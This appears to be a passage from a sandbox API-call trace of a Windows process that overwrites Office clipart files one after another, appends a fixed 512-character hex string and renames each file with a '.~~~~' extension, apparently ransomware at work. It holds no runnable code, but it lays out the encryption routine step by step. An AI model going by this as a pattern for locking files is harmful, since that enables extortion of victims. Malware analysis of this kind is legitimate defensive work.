	[0092.609] GetLastError () returned 0x0
	[0092.616] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffe4ea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.616] WriteFile (in: hFile=0x124, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1b16, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1b16, lpOverlapped=0x0) returned 1
	[0092.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.618] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.619] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.619] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.619] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.619] CloseHandle (hObject=0x124) returned 1
	[0092.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.619] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.~~~~")) returned 1
	[0092.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.620] GetLastError () returned 0x0
	[0092.621] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.622] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.622] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.623] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21261283990) returned 1
	[0092.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0f8f3f0, dwHighDateTime=0x1d60e1e)) 
	[0092.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3880c8
	[0092.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3880c8 | out: hHeap=0x300000) returned 1
	[0092.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b8d0
	[0092.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.623] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.624] GetLastError () returned 0x0
	[0092.624] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.624] GetLastError () returned 0x0
	[0092.722] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff5bbe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.722] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xa442, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0xa442, lpOverlapped=0x0) returned 1
	[0092.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.725] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.725] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.725] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.725] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.725] CloseHandle (hObject=0x124) returned 1
	[0092.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.729] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.~~~~")) returned 1
	[0092.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.731] GetLastError () returned 0x0
	[0092.731] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.733] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.733] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.733] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21272295971) returned 1
	[0092.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa1099d90, dwHighDateTime=0x1d60e1e)) 
	[0092.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2758
	[0092.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2758 | out: hHeap=0x300000) returned 1
	[0092.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b968
	[0092.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.734] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.734] GetLastError () returned 0x0
	[0092.734] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.734] GetLastError () returned 0x0
	[0092.755] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffaa66, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.755] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x559a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x559a, lpOverlapped=0x0) returned 1
	[0092.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.756] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.756] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.756] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.756] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.756] CloseHandle (hObject=0x124) returned 1
	[0092.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.756] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.~~~~")) returned 1
	[0092.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.757] GetLastError () returned 0x0
	[0092.758] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.760] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0092.760] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0092.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.760] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21275016688) returned 1
	[0092.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa10e6050, dwHighDateTime=0x1d60e1e)) 
	[0092.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a26b0
	[0092.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0092.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a26b0 | out: hHeap=0x300000) returned 1
	[0092.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0092.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38bd90
	[0092.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.761] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.761] GetLastError () returned 0x0
	[0092.762] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.762] GetLastError () returned 0x0
	[0092.779] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffc9ce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.779] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x3632, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x3632, lpOverlapped=0x0) returned 1
	[0092.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.780] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.780] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.781] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.781] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.781] CloseHandle (hObject=0x124) returned 1
	[0092.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.814] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.~~~~")) returned 1
	[0092.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.816] GetLastError () returned 0x0
	[0092.816] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.817] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.817] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.818] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21280778663) returned 1
	[0092.818] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa117e5d0, dwHighDateTime=0x1d60e1e)) 
	[0092.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2640
	[0092.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2640 | out: hHeap=0x300000) returned 1
	[0092.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.818] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38bf58
	[0092.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.818] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.819] GetLastError () returned 0x0
	[0092.819] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.819] GetLastError () returned 0x0
	[0092.842] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffdd86, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.842] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x227a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x227a, lpOverlapped=0x0) returned 1
	[0092.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.843] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.843] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.844] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.844] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.844] CloseHandle (hObject=0x124) returned 1
	[0092.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.870] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.~~~~")) returned 1
	[0092.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0092.871] GetLastError () returned 0x0
	[0092.872] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0092.873] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.873] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0092.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0092.873] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21286359206) returned 1
	[0092.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa11f09f0, dwHighDateTime=0x1d60e1e)) 
	[0092.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0092.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0092.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0092.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a25d0
	[0092.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a25d0 | out: hHeap=0x300000) returned 1
	[0092.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38c088
	[0092.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.874] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0092.874] GetLastError () returned 0x0
